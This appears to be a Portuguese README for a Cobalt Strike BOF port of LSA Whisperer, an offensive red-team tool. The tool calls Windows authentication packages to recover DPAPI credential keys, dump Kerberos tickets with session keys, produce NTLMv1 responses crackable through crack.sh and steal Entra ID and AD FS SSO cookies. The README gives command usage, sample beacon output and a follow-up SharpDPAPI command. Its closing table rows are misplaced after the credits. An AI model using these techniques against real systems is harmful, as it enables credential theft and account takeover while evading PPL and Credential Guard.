
Um Arquivo de Objeto Beacon (BOF) que se comunica diretamente com os pacotes de autenticação do Windows através da interface de cliente não confiável/confiável do LSA, sem tocar na memória do processo LSASS.

Um port do Cobalt Strike Beacon Object File (BOF) do LSA Whisperer — a ferramenta que conversa diretamente com os pacotes de autenticação do Windows através da interface de cliente não confiável/confiável do LSA, sem tocar na memória do processo LSASS, mesmo quando PPL e Credential Guard estão habilitados.
O LSA Whisperer por Evan McBroom (SpecterOps) demonstrou que você pode recuperar chaves de credenciais DPAPI, extrair tokens SSO da nuvem e interagir com o Kerberos — tudo por meio de chamadas legítimas à API LsaCallAuthenticationPackage. Sem leitura de memória, sem injeção de processo, sem handles para o LSASS.
Este projeto traz essas capacidades para C2s como BOFs para uso durante engajamentos de red team. Ele nunca abre um handle para o processo lsass e todas as chamadas passam por LsaCallAuthenticationPackage (a API oficial do cliente usada para conversar com o lsass), o PPL no LSASS não importa em nada. O PPL protege o processo LSASS de ser aberto/lido/injetado.
| Comando | Descrição |
|---|---|
lsa-credkey [LUID] | Recupera chave de credencial DPAPI. Funciona com Credential Guard. |

| Comando | Descrição |
|---|---|
lsa-klist [LUID] | Lista tickets Kerberos em cache. |
lsa-dump [LUID] | Despeja todos os tickets como blobs .kirbi em base64 com chaves de sessão. |
lsa-purge [LUID] [server] | Remove tickets. Suporta remoção seletiva por nome do servidor. |

| Comando | Descrição |
|---|---|
lsa-ssocookie [LUID] | Extrai cookie SSO do Entra ID (Azure AD) via plugin AAD. |
LUID: 0 ou omita para a sessão atual. Valor hexadecimal (ex.: 0x3e7) para atingir uma sessão de logon específica. Atacar outras sessões requer SYSTEM.
beacon> lsa-credkey 0x21d57
[*] MSV1_0 GetCredentialKey
[+] SUCCESS - DPAPI Credential Keys recovered!
[+] CredSize: 0x28 (40 bytes)
[*] Local CredKey (SHA OWF): <20-byte key>
[*] Domain CredKey (NT OWF): <16 or 20-byte key>
Use a chave recuperada com SharpDPAPI:
SharpDPAPI.exe masterkeys /credkey:<key_hex> /target:<masterkey_path>
beacon> lsa-ntlmv1 0x21d57
[*] MSV1_0 Lm20GetChallengeResponse (NTLMv1 Generation)
[+] NTLMv1 Response generated!
[*] Hashcat (mode 5500):
DOMAIN\user::HOSTNAME::NTResponse:1122334455667788
Envie a resposta para crack.sh para recuperação instantânea do hash NT com o desafio padrão.
beacon> lsa-ssocookie 0x21d57
[+] SSO Cookie received!
[*] Cookie: ESTSAUTH=<token>
lsa-whisperer-bof/
├── lsa-whisperer.cna # Aggressor script (load this)
├── Makefile
├── include/
│ ├── bofdefs.h # BOF API declarations + DFR imports
│ └── lsa_structs.h # All LSA/MSV1_0/Kerberos/CloudAP structs
├── src/
│ ├── common/
│ │ └── lsa_common.c # Shared LSA init, helpers, output formatting
│ ├── msv1_0/
│ │ └── msv1_0_bof.c # MSV1_0 commands
│ ├── kerberos/
│ │ └── kerberos_bof.c # Kerberos commands
│ └── cloudap/
│ └── cloudap_bof.c # CloudAP/AAD commands
└── build/ # Compiled BOFs (after make)
Cada módulo compila para um BOF independente. O código comum é incluído no momento da compilação (padrão de BOF) — sem bibliotecas compartilhadas ou dependências de tempo de execução.
| Contexto | Capacidade |
|---|---|
| Usuário atual (não privilegiado) | lsa-klist, lsa-ssocookie, lsa-cloudinfo para a própria sessão |
SYSTEM (SeTcbPrivilege) | Todos os comandos direcionados a qualquer sessão de logon por LUID |
Enumere LUIDs disponíveis com logonpasswords ou klist para encontrar sessões alvo.
lsa-credkey e lsa-strongcredkey funcionam através do Credential Guard. lsa-ntlmv1 é bloqueado por ele.1122334455667788 permite quebra gratuita com rainbow tables via crack.sh. Desafios personalizados funcionam, mas exigem brute-force padrão.lsa-purge com um filtro de servidor remove apenas tickets correspondentes — útil para abuso direcionado do Kerberos sem interromper a sessão do usuário.Este projeto é um port BOF do LSA Whisperer por Evan McBroom (@EvanMcBroom) da SpecterOps. Toda a pesquisa subjacente — as mensagens de protocolo MSV1_0 não documentadas, a interface de chamada do plugin CloudAP/AAD e as definições de struct que tornam isso possível — é obra dele.
Referências principais:
lsa-strongcredkey [LUID] | Recupera chave de credencial DPAPI forte (Win10+). |
lsa-ntlmv1 [LUID] [challenge] | Gera resposta NTLMv1 com desafio escolhido. O desafio padrão 1122334455667788 é compatível com as rainbow tables do crack.sh. |
lsa-devicessocookie [LUID] | Extrai cookie SSO do dispositivo. |
lsa-enterprisesso [LUID] | Extrai cookie SSO empresarial do AD FS. |
lsa-cloudinfo [LUID] | Consulta informações do provedor de nuvem, status do TGT, status do DPAPI. |